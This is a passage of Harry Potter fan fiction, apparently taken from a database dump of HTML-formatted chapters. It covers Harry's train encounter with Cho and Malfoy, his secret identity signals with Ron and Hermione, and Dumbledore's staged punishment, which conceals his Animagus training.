little.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The door on the compartment slid open and then the last person Harry would have wanted to see walked in.&nbsp; </p>\n\n<p>&#8220;What do we have here?&#8221; drawled Draco Malfoy.&nbsp; &#8220;Potter is <i>already</i> trying to make a move on Cedric&#8217;s girlfriend?&nbsp; His body is just barely cold.&#8221;</p>\n\n<p>&#8220;Sod off, Malfoy!&#8221; Harry snapped.</p>\n\n<p>&#8220;Are you going to attack me <i>again</i> Potter?&nbsp; Of course, this time you&#8217;ll be attacking a prefect and maybe Dumbledore will be forced to punish you,&#8221; he said menacingly.&nbsp; Harry then noticed the bright shiny badge pinned on Malfoy&#8217;s robes.</p>\n\n<p>&#8220;Please leave, Draco.&nbsp; Harry and I were having a <i>private</i> conversation,&#8221; Cho said with a tinge of anger.</p>\n\n<p>&#8220;I&#8217;d watch him if I were you Cho.&nbsp; He&#8217;s not above trying to take out his opponents to get to what he wants.&#8221;</p>\n\n<p>&#8220;<i>Really?</i>&nbsp; I thought that description covered you in our last Quidditch match,&#8221; she said bitterly.</p>\n\n<p>Draco gave a snort and just then Professor Figg stood towering behind him.</p>\n\n<p>&#8220;Is there a problem here?&#8221;</p>\n\n<p>&#8220;No, he was just leaving,&#8221; Harry said.</p>\n\n<p>&#8220;Hmmm, I see you&#8217;re a prefect.&nbsp; I believe there&#8217;s still a prefect&#8217;s meeting going on at the front of the train.&nbsp;&nbsp; Why aren&#8217;t you there?&#8221; she asked.</p>\n\n<p>&#8220;I had to visit the loo.&#8221;</p>\n\n<p>&#8220;Well, now that you&#8217;ve relieved yourself, I think you should get back to your meeting,&#8221; she said firmly.</p>\n\n<p>&#8220;And who are you?&#8221; Draco asked.</p>\n\n<p>&#8220;I&#8217;m Professor Figg, your new Defence Against the Dark Arts instructor.&nbsp; Your name is&#8230;&#8221;</p>\n\n<p>&#8220;Draco Malfoy.&#8221;</p>\n\n<p>&#8220;Of course.&nbsp; You look exactly like your father.&nbsp; I&#8217;m looking forward to seeing how well you perform in my class.&nbsp; Please, give my regards to your father,&#8221; she said coolly as she ushered him out the door.&nbsp; She then turned and looked at Harry and tugged at an earlobe.</p>\n\n<p>&#8220;So, you must be Harry Potter.&nbsp; It&#8217;s good to finally meet you.&#8221;</p>\n\n<p>Harry ran a hand over his forehead, pushed his glasses up and nodded.&nbsp; Then he stood and extended his hand to her.</p>\n\n<p>&#8220;Umm, it&#8217;s good to meet you also, Professor.&#8221;</p>\n\n<p>&#8220;And you are?&#8221; she asked.</p>\n\n<p>&#8220;Cho Chang.&#8221;</p>\n\n<p>&#8220;It&#8217;s nice to meet you both and I&#8217;ll be looking forward to seeing you in class.&nbsp; If you don&#8217;t mind, I think I&#8217;ll get back to my compartment.&#8221;</p>\n\n<p>Harry gave a sigh of relief and looked at Cho.&nbsp; She was looking at him with a strange expression on her face.</p>\n\n<p>&#8220;Thank you for talking with me, Harry.&nbsp; I really appreciate it and I appreciate your candor.&nbsp; I wish things were different, but&#8230;well, good luck this year.&nbsp; And I&#8217;ll see you on the Quidditch pitch,&#8221; she said as she left the compartment.</p>\n\n<p>Harry sat dazed and alone in his thoughts for a few minutes before Ron knocked on the wall.</p>\n\n<p>&#8220;Hey, Harry.&nbsp; You okay?&#8221;</p>\n\n<p>&#8220;Yeah, I&#8217;ll be fine.&nbsp; Come on in.&#8221;</p>\n\n<p>&#8220;What did Cho want to talk to you about?&#8221;</p>\n\n<p>Harry moved to close the compartment door.</p>\n\n<p>&#8220;She wanted to know what happened to Cedric.&#8221;</p>\n\n<p>&#8220;What did you tell her?&#8221;</p>\n\n<p>Harry sighed.&nbsp; &#8220;As much as I thought I could tell her.&nbsp; I left certain things out, but told her enough that she knows that I didn&#8217;t just kill him so I could try to date her.&#8221;</p>\n\n<p>&#8220;Why would she think that?&#8221; asked Ron.</p>\n\n<p>&#8220;Malfoy implied that.&nbsp; He stopped by here just to annoy the hell out of me.&#8221;</p>\n\n<p>&#8220;I&#8217;m glad we hexed him last time when we got the chance,&#8221; Ron said bitterly.</p>\n\n<p>&#8220;Yeah, well I don&#8217;t know how smart that was, but he certainly deserved it.&#8221;</p>\n\n<p>The trolley witch came by and knocked on the glass door.&nbsp; Harry opened it and made some purchases for them as well as saving some for Hermione.</p>\n\n<p>&#8220;I hope that meeting breaks up soon,&#8221; Harry said.</p>\n\n<p>&#8220;Oh, I&#8217;ve <i>got</i> to tell you this.&nbsp; Hermione stayed with us at the Burrow for the last three days.&nbsp; Her parents were at a dentist&#8217;s convention and couldn&#8217;t see her off to school.&nbsp; Anyway, I was afraid she&#8217;d be mad at me because of Winky.&nbsp; As it turned out, Hermione seemed totally cool with it.&nbsp; She talked with Winky almost non-stop the whole time.&nbsp; Then yesterday she told us that we needed to leave an extra hour early today because she needed to stop at a Muggle bookstore on the way. &nbsp;She used this strange machine which spit out Muggle paper money and she came out with a big bag of books,&#8221; said Ron as he rolled his eyes.&nbsp; &#8220;Just what she needed <i>more</i> books!&nbsp; I can&#8217;t believe she can even move that trunk of hers.&#8221;</p>\n\n<p>Hermione slid open the compartment door and smiled brightly at them.</p>\n\n<p>&#8220;You seem awfully quiet.&nbsp; You weren&#8217;t talking about me were you?&#8221;</p>\n\n<p>&#8220;Ah, maybe just a little.&nbsp; Please sit down, there&#8217;s some cauldron cakes over there that we saved for you,&#8221; Harry said as he went to close the door again.</p>\n\n<p>&#8220;It&#8217;s hot in here, Harry.&nbsp; Can&#8217;t we leave the door open or open a window?&#8221; Ron complained.</p>\n\n<p>&#8220;Not yet, I have to talk to you two about something and I need to make sure no one overhears.&nbsp; I put a silencing charm on the door earlier.&#8221;</p>\n\n<p>&#8220;What&#8217;s up?&#8221; Hermione asked.</p>\n\n<p>&#8220;First of all, I need both of you to prove to me that you are really Ron Weasley and Hermione Granger.&nbsp; Tell me something that only you would know.&#8221;</p>\n\n<p>&#8220;Okay, we made a Polyjuice Potion in Moaning Myrtle&#8217;s bathroom,&#8221; said Hermione.</p>\n\n<p>&#8220;Wormtail slept in my bed for three years,&#8221; said Ron with disgust.</p>\n\n<p>&#8220;Fred gave my cousin Dudley magical toffee last summer,&#8221; said Harry.&nbsp; &#8220;I think that should satisfy everyone.&nbsp; Okay, now that I know both of you are who I thought you were, we&#8217;re going to have to come up with a signal and some passwords.&nbsp; We need to be sure that when we first meet each other that we aren&#8217;t talking to someone who&#8217;s been Polyjuiced to look like us.&nbsp; The signal can be something simple.&nbsp; For instance Ron you could sniff and say &#8216;umm&#8217; and Hermione maybe you could lick your lips and say, &#8216;well&#8217; before you say anything else.&#8221;</p>\n\n<p>&#8220;That doesn&#8217;t seem like much of a signal,&#8221; said Hermione sceptically.</p>\n\n<p>&#8220;We don&#8217;t want it be noticeable to others.&nbsp; Something small and simple that no one else will pay any attention to.&nbsp; I can blink slowly and say, &#8216;er&#8217; before I say anything else.&nbsp; If either one of you can think of better signals to use, I&#8217;m open to some suggestions.&nbsp; We also need a password to use in case we are ever in doubt and the signals aren&#8217;t working.&nbsp; I think the password should be Moony, Padfoot and Prongs.&#8221;</p>\n\n<p>Ron and Hermione nodded at that.&nbsp; Harry then told them the importance of saving their hair and nail clippings.</p>\n\n<p>&#8220;Where did you get all these ideas?&#8221; Ron asked.</p>\n\n<p>&#8220;Sirius,&#8221; Harry lied.</p>\n\n<p>&#8220;Okay, is there anything else you need to tell us in confidence?&nbsp; Because I&#8217;m roasting and need some air,&#8221; complained Hermione.</p>\n\n<p>Harry smiled and opened the door and windows.&nbsp; They played Exploding Snap the rest of the way to Hogwarts and tried not to talk about anything of importance.&nbsp; As they exited from the train Harry saw the familiar sight of Hagrid directing the first year students into the boats across the lake.&nbsp; They exchanged a quick friendly wave.</p>\n\n<p>After the horseless carriages brought them to the castle and they were standing waiting for the massive doors to open, Harry was feeling a bit anxious looking around the crowd.&nbsp; The other students seemed to looking at him out of the corner of their eyes.&nbsp; It wasn&#8217;t outright hostility, but he sensed many suspicious glances in his direction.&nbsp; He tried to ignore the looks and remind himself that during his second and fourth years that he had experienced similar treatment by the student body.&nbsp; <i>This too shall pass</i>, he tried to remind himself. </p>\n\n<p>After Professor McGonagall welcomed all the returning students into the Great Hall, she walked up to Harry and touched him on the shoulder.</p>\n\n<p>&#8220;Come with me,&#8221; she said curtly.</p>\n\n<p>**</p>\n\n<p>End notes: I&#8217;d like to thank those who are following along with my story and especially those who have taken the time to review. Alez Burrow wanted to see more humour, I hope the scene with Nadine fit that bill for you. Yurimionepotter wanted to know when the ship was going to set sail. Well, umm, Harry is only now getting directions as to where to find the coastline. It&#8217;ll be a bit before he even finds the pier, let alone the ship. This is a novel length story and not just a vignette. These things do take time in order for them to be seen as believable and not rushed. You&#8217;ll soon start seeing hints of attraction between the two in the next few chapters. Lilyflower017 and kinicky 21 I&#8217;d like to thank you for your kind words. My eye for detail is something that I pride myself on. I&#8217;m glad you appreciate all the detail that I put into the story. And Thelyvyn, I&#8217;d like to send out a special thanks to you. Because of your recommendation for my story on the Soap Free H/Hr board, I was contacted by NAPPA and that&#8217;s when I learned about this website. I hope you enjoy reading this story as much a second time through and maybe you&#8217;ll pick up on some clues that you might have missed the first time through. Especially with the &#8220;Christmas at the Burrow&#8221; chapter, which was one of my favourites to write.</p>\n\n<p>Up next:&nbsp; Chapter Five:&nbsp; Harry&#8217;s Punishment.&nbsp; This is where we will see how the hexing incident on the train plays out and where Malfoy is finally put in his place by a professor.&nbsp; Yesss.</p> '),
	(260, 5, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s notes:&nbsp; Thanks go to Cara Hicks and Ama for their beta reading my work.</p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Five &#8211; Harry&#8217;s Punishment</p>\n\n<p>Harry could feel his stomach sink and dreaded what was to come.&nbsp; He followed Professor McGonagall through the Great Hall and felt that everyone was looking and whispering at him.&nbsp; She brought him to the side room off the Great Hall where the Triwizard champions had met after their names had emerged from the Goblet of Fire.&nbsp; He felt almost as nervous as he did then, but at least he had an inkling of what to expect this time.&nbsp; He realized from the stern expression on her face that he was going to be punished for the hexing incident on the Hogwarts Express.&nbsp; Dumbledore was seated behind a table and gestured for Harry to sit down across from him.&nbsp;&nbsp; </p>\n\n<p>&#8220;Well, I have to oversee the Sorting,&#8221; Professor McGonagall said as she abruptly left.</p>\n\n<p>&#8220;Harry, I think you know why you are here.&nbsp; There is a matter of concern that occurred on the train ride home at the end of the last school year.&nbsp; Did you place hexes on Misters Malfoy, Crabbe and Goyle?&#8221;</p>\n\n<p>Harry nodded glumly.</p>\n\n<p>&#8220;Were there other students who also hexed them?&#8221;</p>\n\n<p>&#8220;I&#8217;d rather not say,&#8221; he said timidly.</p>\n\n<p>&#8220;I understand.&nbsp; You&#8217;d rather take all the punishment than turn in your friends.&#8221;</p>\n\n<p>Harry nodded again.</p>\n\n<p>&#8220;Well, I am put in the position of having to make an example out of you for the entire school body to recognize that hexing other students is unacceptable.&nbsp; I have never found a reason worthy enough for using Veritaserum on a student before&#8230;&#8221;</p>\n\n<p>Harry looked up with dread in his eyes.</p>\n\n<p>&#8220;&#8230;and I still do not think this warrants its usage in this matter either.&nbsp; Therefore, I shall deduct fifty points from Gryffindor, which shall actually make the house start at a deficit at the beginning of the school year.&nbsp;&nbsp; And in addition, you shall serve a detention every Saturday for the entire month of September.&#8221;</p>\n\n<p>Harry&#8217;s eyes grew wide at that.</p>\n\n<p>&#8220;Where you shall come to my office and we will work privately on your transfiguration lessons.&nbsp; Sirius and Arabella have kept me informed of your amazing progress,&#8221; he said with a twinkle in his eyes. Harry suddenly brightened at the thought.&nbsp; Here Dumbledore figured out a way to outwardly punish Harry, but secretly allow for the continuation of his Animagus training.</p>\n\n<p>&#8220;I think you should also know that Professor McGonagall had favoured making you a prefect, but reconsidered after this unfortunate incident.&nbsp; And while I wish it had not occurred, it may serve some useful purposes.&nbsp; Everyone in the school will soon learn about it and realize that you and your friends are not people they want to cross.&#8221;</p>\n\n<p>&#8220;But they&#8217;ll hate me.&nbsp; Especially if they believe what was printed in <i>The</i>\n\n<i>Daily Prophet.</i>&#8221;</p>\n\n<p>&#8220;Well, Nicolo Machiavelli wrote that it is more secure to be feared than to be loved.&#8221;</p>\n\n<p>&#8220;But that sounds more like Voldemort than me,&#8221; Harry protested.</p>\n\n<p>&#8220;Yes, he certainly is feared,&#8221; Dumbledore agreed, &#8220;but right now people will soon be deciding where to cast their allegiances.&nbsp; The teenage years are a time of great turbulence and decision making.&nbsp; Traditionally it has also been a time of recruitment by those involved in the Dark Arts.&nbsp; The choice between what is right versus what is easy is never a simple one to make.&nbsp; There are many factors to consider.&nbsp; Voldemort&#8217;s forces will probably resume their old carrot and stick approach to tempt people to join their side.&nbsp; The carrot is increased powers, accelerated advancement in your chosen career path, and a sense of belonging to a secret society.&nbsp; Of course the downside is that you are then compelled to follow any order to hurt or kill others &#8211; even people you care about.&nbsp; A real Bargain with the Devil.&nbsp; The stick if you choose not to join is the threat of harm to those closest to you or your own death.&#8221;</p>\n\n<p>&#8220;So how do we combat that?&#8221;</p>\n\n<p>&#8220;That&#8217;s why I think there may be an upside to your fellow students fearing you a little.&nbsp; You may serve as a deterrent for them to join with the Death Eaters.&nbsp; If they sense that they also are at risk of harm should they become your adversary, then it makes it more difficult for them to choose the easy path of siding with the Dark Forces.&#8221;</p>\n\n<p>&#8220;What about the Ministry of Magic? Doesn&#8217;t the threat of going to Azkaban serve as a deterrent?&#8221; Harry asked.</p>\n\n<p>&#8220;Not as much as one would think.&nbsp; The Ministry has always been a rich target for infiltration by Voldemort&#8217;s forces.&nbsp; Many people who should have been locked away had their airtight cases seemingly disintegrate overnight.&nbsp; No, it is not the Ministry that people feared the most that allied themselves with Voldemort.&nbsp; Instead it was the band of agents that worked for me.&nbsp; Your father and mother were part of that group, as you are also.&#8221;</p>\n\n<p>Harry swallowed hard, &#8220;I &#8211; I am?&#8221;</p>\n\n<p>&#8220;Yes, whether or not you realized it, you have been working for me in fighting Voldemort and his forces for years.&nbsp; Since his bodily return it is more important than ever to marshal all the forces I can to form a united front against evil.&#8221;</p>\n\n<p>&#8220;Sir, do you want to know why I hexed Malfoy?&#8221;</p>\n\n<p>&#8220;Yes, please tell me.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He said that I picked the wrong side.&nbsp; That Mudbloods and Muggle-lovers were going to be the first targets and then he corrected himself to say that Cedric was the first target.&nbsp; I took that as a threat and that&#8217;s when I hexed them.&#8221;</p>\n\n<p>Dumbledore nodded, &#8220;That&#8217;s an understandable interpretation.&nbsp; We must also consider that Misters Malfoy, Crabbe and Goyle have been groomed to follow their fathers into the ranks of the Death Eaters.&#8221;</p>\n\n<p>&#8220;Then why are they at this school?&#8221; Harry demanded.</p>\n\n<p>&#8220;Because it is our choices in life that reveal more about who we are more than our abilities.&nbsp; They will soon decide for themselves whether to follow in their fathers&#8217; footsteps in the path that has been laid out for them or whether they will rebel and set out on their own path.&nbsp; The teenage years are commonly a rebellious time even in normal households that are not facing such dire choices.&nbsp; Now, I doubt that Mister Malfoy will decide to become your best friend, but he should see you as a worthy adversary &#8211; especially after the train incident.&nbsp; He shall now sense that he will be in personal danger should he follow his father&#8217;s lead.&nbsp; Should he or the other children from similar households decide to reject their predetermined destiny, they could prove to be very valuable to our side as they will be talented and be incredible sources of information.&nbsp; So, that is one reason that they are here, they have not yet chosen their future paths and therefore we should not judge them and reject them due to the sins of their parents.&#8221;</p>\n\n<p>Dumbledore checked his bizarre watch, &#8220;The sorting should be over by now and everyone is waiting for the feast to begin.&nbsp; We should rejoin them and Harry, there&#8217;s one more thing&#8230;&#8221;</p>\n\n<p>&#8220;What&#8217;s that sir?&#8221;</p>\n\n<p>&#8220;Try not to seem repentant about the incident. &nbsp;Don&#8217;t gloat, but don&#8217;t apologize either.&#8221;</p>\n\n<p>Harry nodded as he followed Dumbledore out of the room.&nbsp; There was just so much about the headmaster that continually amazed him.&nbsp; As they entered the main hall and Harry made his way to his seat at the Gryffindor table, he felt all eyes following him as he walked.&nbsp; Hushed voices murmured as he passed.&nbsp; After Harry sat down, Dumbledore stood and then all the heads turned towards the head table.</p>\n\n<p>&#8220;I&#8217;d like to welcome all the new students to Hogwarts and welcome back all the returning students.&nbsp; Last year&#8217;s Triwizard tournament was exciting as it allowed a lively competition and allowed for the opportunity to foster greater ties with others in the Wizarding World.&nbsp; This year promises to be more traditional in that our competition is the normal inter-house rivalry for the House cup.&nbsp; There is also the attempt to bridge those gaps by having different houses share classes together.&nbsp; It is the mission of Hogwarts to prepare all of its students for the Wizarding World.&nbsp; Competition and cooperation with one&#8217;s rivals is a large part of that.&nbsp; However&#8230;&#8221; and his voice grew serious, &#8220;when competition is not tempered with reason it can also lead to an unhealthy animosity.&nbsp; This was exemplified by an unfortunate incident at the end of the last school year.&#8221;</p>\n\n<p>Harry looked over at the Slytherin table and saw Malfoy gloating at him.&nbsp; Harry kept his face expressionless and did not avert his gaze.</p>\n\n<p>&#8220;This type of anger between houses and students will not be tolerated.&nbsp; The student at the center of this controversy will be dealt with by a severe punishment.&nbsp; His house shall be docked fifty points and he shall serve detentions for every Saturday this month starting tomorrow.&#8221;</p>\n\n<p>Murmurs and gasps were heard throughout the room and loud snickers were coming from the Slytherin table.</p>\n\n<p>&#8220;Let this serve as a lesson for all of you.&nbsp; There is no excuse for hexing a fellow student, even if someone insults the memory of someone like our former student Cedric Diggory.&#8221;</p>\n\n<p>Then all heads turned towards Draco Malfoy and his eyes flashed with anger and darted from Harry to Dumbledore.&nbsp; Words such as &#8216;insulted Cedric?&#8217; &#8216;how dare he&#8217; were heard above the hushed whispers.&nbsp; Dumbledore used his hands to motion the room to silence.</p>\n\n<p>&#8220;There is one more thing that I must mention before the feast begins.&nbsp; There are those who refuse to believe that Lord Voldemort has returned.&nbsp; Some even say that there is no evidence of this.&nbsp; Believe me when I tell you that it is the truth and we all shall soon be faced with hard decisions in our lives as to where we shall place our loyalties and allegiances.&nbsp; I want to assure everyone that they are safe while they are here at Hogwarts.&nbsp; To ensure this safety I promise you that anyone who would participate in activities in support of Voldemort while they are at this school shall be expelled.&nbsp; I also want any attempts to recruit any current students to his side to be brought to my attention without delay.&nbsp; Anyone who violates those rules shall find themselves out of Hogwarts and their wands broken.&#8221;</p>\n\n<p>The room was filled with a thick silence.&nbsp; Then Dumbledore&#8217;s face softened and his warm smile returned.&nbsp; &#8220;And now for the highlight of the evening,&#8221; he clapped his hands and all the golden plates were heaped with food.&nbsp; &#8220;Enjoy!&#8221;</p>\n\n<p>Everyone began to dig into the sumptuous feast that lay before them.</p>\n\n<p>&nbsp;&#8220;Fifty points!&#8221; Dean Thomas said angrily.&nbsp; &#8220;We haven&#8217;t even started the school year yet.&nbsp; Thanks a lot Harry.&#8221;</p>\n\n<p>Fred waved his hand dismissively.</p>\n\n<p>&#8220;Don&#8217;t worry Dean, we&#8217;ll make that up in our first Quidditch match.&nbsp; Didn&#8217;t you say you were interested in trying out for the team this year?&#8221; </p>\n\n<p>Then the talk at the table turned away from Harry&#8217;s punishment to looking at this year&#8217;s prospects for winning the Quidditch Cup.&nbsp; It seemed that both Ron and Dean were planning on trying out for the team as well as several other younger classmates.</p>\n\n<p>Later when they were all safely back in <st1:place><st1:placename>Gryffindor</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place>, the twins came up to Harry and spoke to him quietly.</p>\n\n<p>&#8220;Did Dumbledore ask about anyone else?&#8221; Fred asked.</p>\n\n<p>&#8220;Yeah, but I wouldn&#8217;t tell him.&nbsp; He didn&#8217;t press the issue.&nbsp; Malfoy was there because of me, so I took full responsibility,&#8221; Harry replied.</p>\n\n<p>&#8220;Harry, that&#8217;s awful big of you,&#8221; George said.</p>\n\n<p>&#8220;Well, now everyone will know that I&#8217;ve done something worthy of fifty penalty points and five detentions.&nbsp; Hopefully, that&#8217;ll scare anyone away with an idea of attacking me,&#8221; Harry said coolly.</p>\n\n<p>&#8220;You&#8217;re tougher than you look, Harry Potter,&#8221; Fred said admiringly.</p>\n\n<p>&#8220;Yeah, well I have to be,&#8221; Harry said.&nbsp; &#8220;Just make sure when people talk about this incident in front of you, that everyone knows that I never apologized and I&#8217;d do it again to Malfoy if he provokes me.&#8221;</p>\n\n<p>&#8220;Will do,&#8221; said George.</p>\n\n<p>&#8220;Oh and Harry,&#8221; Fred added.&nbsp; &#8220;We wanted to tell you that we&#8217;ve started on our business plan.&nbsp; We hope to get some of our product line in Hogsmeade and Diagon Alley.&nbsp; We&#8217;ve made some contacts and hope to sell some things on consignment.&#8221;</p>\n\n<p>&#8220;That&#8217;s great,&#8221; Harry said.</p>\n\n<p>&#8220;Well, you&#8217;re our venture capitalist.&nbsp; We&#8217;ll be giving you a share of our profits.&nbsp; That is once we turn any.&nbsp; Just thought you&#8217;d like to know,&#8221; said George.</p>\n\n<p>*</p>\n\n<p>The next day after breakfast Harry went to Professor Dumbledore&#8217;s office and looked at the gargoyle standing guard outside.&nbsp; Other years when he needed to speak with Dumbledore urgently he would try to guess what the password was.&nbsp; This time he was expected, so he simply knocked on the wall near the gargoyle.&nbsp; A few moments later, the revolving staircase opened and Hermione walked down the stairs.&nbsp; She looked directly at Harry, gave her lips a quick lick and then flashed a large smile at him.</p>\n\n<p>&#8220;Well, good morning Harry.&#8221;</p>\n\n<p>He stood with his mouth open, staring at her.&nbsp; He blinked and said, &#8220;Er &#8211; hello.&#8221;</p>\n\n<p>Harry wondered if Hermione felt compelled to tell Dumbledore her part in the hexing incident even though he had shielded everyone else from taking any punishment.&nbsp; It would be just like her, he thought.</p>\n\n<p>Hermione turned and shook Dumbledore&#8217;s hand, &#8220;Thank you for your time, Headmaster.&#8221;</p>\n\n<p>&#8220;Anytime Miss Granger.&nbsp; Good luck with your project and please keep me updated,&#8221; he said with a broad smile on his face.&nbsp; </p>\n\n<p>Harry looked puzzled as she walked past him.</p>\n\n<p>&#8220;What was <i>that</i> about sir?&#8221;</p>\n\n<p>&#8220;Should Miss Granger wish to tell you about it, I&#8217;m sure you will find out.&nbsp; Please come in to my office,&#8221; he said as he climbed up the stairway.&nbsp; As they walked into Dumbledore&#8217;s office, the headmaster gestured to a chair.&nbsp; &#8220;Have a seat, Harry.&nbsp; I&#8217;ve heard from Professor Figg about your progress in Animagus training, but I&#8217;d like to hear how you feel it is going.&#8221;</p>\n\n<p>Harry started to tell Dumbledore about his experiences of being forcibly transfigured and how he gradually became accustomed to the abrupt changes between being human and becoming a reptile and back again.&nbsp; He no longer needed the pepper-up potion to keep him from developing massive chills.&nbsp; </p>\n\n<p>&#8220;I haven&#8217;t been able to make much progress in turning myself into the snake form though.&#8221;</p>\n\n<p>&#8220;Perhaps the emotion you are using when concentrating on this task is not the most powerful one for you,&#8221; Dumbledore observed.</p>\n\n<p>&#8220;What do you mean?&#8221;</p>\n\n<p>&#8220;Tell me Harry about some of the wandless magic you exhibited before you came to Hogwarts.&#8221;</p>\n\n<p>Harry thought back to the strange things that happened such as the disappearing glass at the zoo and when he forced his hair to grow back overnight when his aunt gave him a horrible haircut.&nbsp; He told those incidents to Dumbledore.</p>\n\n<p>&#8220;So the emotions involved behind that magic involved either anger or fear,&#8221; Dumbledore observed.</p>\n\n<p>&#8220;Yeah, that seems about right.&#8221;</p>\n\n<p>&#8220;Well, I want you to focus your mind on those emotions and then try to work on your transfiguration.&nbsp; I assume that if you recall that evening in the graveyard that you should have enough anger and fear to work with.&#8221;</p>\n\n<p>Harry looked at him solemnly and nodded.</p>\n\n<p>&#8220;Let&#8217;s get started shall we.&nbsp; Please lay down on the floor and start concentrating on that evening.&nbsp; Give way to your anger at what happened to Cedric.&nbsp; Let it seethe inside of you.&#8221;</p>\n\n<p>Harry had tried for the last few months to banish any thoughts about that evening and now Dumbledore was compelling him to not only think about it, but to fully concentrate on feelings that he had actively tried to suppress.&nbsp; As Harry stood up, something out of the corner of his eye caught his attention.&nbsp; He noticed that a lush terrarium was sitting on an end table that he had never noticed before.&nbsp; Clinging on the inside of the glass was a large black beetle.</p>\n\n<p>&#8220;Umm, sir &#8211; I noticed your terrarium&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;s a nice addition, don&#8217;t you think?&nbsp; It&#8217;s filled with the flora and fauna captured from our wonderful school grounds.&#8221;</p>\n\n<p>&#8220;Umm, is it wise to have it here in your office where&#8230;&#8221;</p>\n\n<p>Dumbledore gave a knowing smile.&nbsp; &#8220;Like most things at Hogwarts there are many charms placed upon the item.&nbsp; I enjoy having it within my view to ensure its security.&#8221;</p>\n\n<p>Harry knew they were dancing around the subject and Dumbledore didn&#8217;t want to come right out and talk about Rita Skeeter being held prisoner in her Animagus form.&nbsp;&nbsp; He felt that it was best to just play along rather than be bold and mention the obvious, but he had a safety concern that was nagging him.</p>\n\n<p>&#8220;Yes, but sir &#8211; last year there were several students in Slytherin that were well aware of the <i>other form</i> and should they come to this office for any reason&#8230;&#8221; he stammered.</p>\n\n<p>&#8220;Hmmm, well perhaps you have a point.&nbsp; Possibly this terrarium would look better in another place.&nbsp; I think I&#8217;ll try it in my private quarters.&nbsp; Now, let&#8217;s get back to your lesson shall we.&nbsp; Please lie down on the floor and start concentrating on that fateful evening.&nbsp; Let your anger flow through you.&nbsp; Channel that anger.&#8221;</p>\n\n<p>Harry lay perfectly still on the hard tile floor and started to picture the night that had haunted his nightmares.&nbsp; He could smell the air heavy with oppressive fumes from the simmering cauldron.&nbsp; He saw clearly in his mind&#8217;s eye the murder of Cedric and he heard the sickening thud as his body fell to the ground.&nbsp; Harry&#8217;s anger started to well up in him.&nbsp; Then he remembered how Wormtail, that pathetic excuse for a man who had betrayed Harry&#8217;s parents tied him up to a tombstone.&nbsp; He allowed his anger and resentment to build against this traitorous man.&nbsp; A man whose life Harry had spared out of pity.&nbsp; He began to fume.&nbsp; The memory of Wormtail lifting Harry&#8217;s sleeve to forcibly take his blood caused the scar on his arm to burn.</p>\n\n<p>&#8220;Use the anger and concentrate on your snake form.&#8221;</p>\n\n<p>Harry held his legs together tightly and focused his mind like a laser on his anger and the snake image.&nbsp; He felt a fusion starting to occur, his legs were turning into a tail.</p>\n\n<p>&#8220;Excellent, Harry.&nbsp; Now picture the creature rising out of the cauldron.&#8221;</p>\n\n<p>He turned his mind&#8217;s eye to the horrific image of Voldemort rising with his snake-like head and spider-like hands.&nbsp; The revulsion started to make the contents of his stomach turn sour.&nbsp; The emotions washing over Harry were anger, rage, fury and bone-chilling fear.&nbsp; He had not allowed himself to fully feel those emotions that night because he was trying desperately to keep his wits about him and had actively suppressed those emotions at the time.&nbsp; Even in his dreams, he had never allowed himself to feel his emotions fully.&nbsp; Now he felt like he was riding a roller coaster that was out of control.</p>\n\n<p>&#8220;Focus Harry.&nbsp; Focus on your arms.&nbsp; Have them meld to your body.&#8221;</p>\n\n<p>He followed Dumbledore&#8217;s orders and felt his arms and torso become one solid piece.&nbsp; He started to feel the urge to move and began to struggle with the movement and trying to remember how to move forward.</p>\n\n<p>&#8220;Excellent.&nbsp; Excellent work.&nbsp; Now breathe in &#8211; relax your mind and bring yourself back here &#8211; back to my office.&nbsp; Back to September 2<sup>nd</sup> &#8211; the start of a new school year.&#8221;</p>\n\n<p>Harry listened and left all his thoughts of snakes and the cemetery behind.&nbsp; He started to think of Hedwig, Hermione, Ron and <st1:place><st1:placename>Gryffindor</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place>.&nbsp; He then found himself blinking at his surroundings.&nbsp; He had been so consumed with his thoughts about the night Voldemort had returned that he had kept his eyes closed and had forgotten where he was.&nbsp; Harry shook his head groggily and began kneeling in his belaboured effort to stand.</p>\n\n<p>&#8220;Why don&#8217;t you have a seat?&#8221; Dumbledore gestured to a chair and began filling a cup with tea.&nbsp; &#8220;Here drink this.&#8221;</p>\n\n<p>Dumbledore looked at Harry with grave seriousness in his eyes.</p>\n\n<p>&#8220;Harry, is that the first time you allowed yourself to feel those emotions from that night?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; Harry mumbled.</p>\n\n<p>&#8220;Well,&#8221; Dumbledore sighed.&nbsp; &#8220;It is good to examine and understand your emotions.&nbsp; It is an important part of yourself and you need to harness your feelings.&nbsp; However, I must warn you to not let them control you or allow it to become an obsession.&nbsp; Vengeance consumes the person seeking it and it has the power to destroy not only the target of the hatred, but the person bent on revenge.&nbsp; I wanted you to feel the power within you and channel it for your own use.&nbsp; Now that you&#8217;ve examined those feelings, please try to think of them only when you need to access them for your powers.&nbsp; Do you understand this?<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think so,&#8221; he said as he sipped the tea.&nbsp; It filled him with warmth and he was beginning to feel human again.</p>\n\n<p>&#8220;Good, well I think that&#8217;s all that I could expect from you today. &nbsp;I expect at this rate that by the end of your detentions that you should be able to change at will back and forth from human to snake with no trouble.&nbsp; You do realize that this is something that takes most wizards and witches years of practice to even get to the level that you&#8217;ve managed in roughly a month&#8217;s time.&#8221;</p>\n\n<p>*</p>\n\n<p>Monday morning Harry was eagerly eating his breakfast in anticipation of starting a new year of classes.&nbsp; Hermione groaned as she scanned the front page of <i>The Daily Prophet.</i></p>\n\n<p>&#8220;Oh no, not again.&#8221;</p>\n\n<p>&#8220;What is it?&#8221; Harry said with dread.</p>\n\n<p>&#8220;You don&#8217;t want to read it.&nbsp; It&#8217;s another libelous 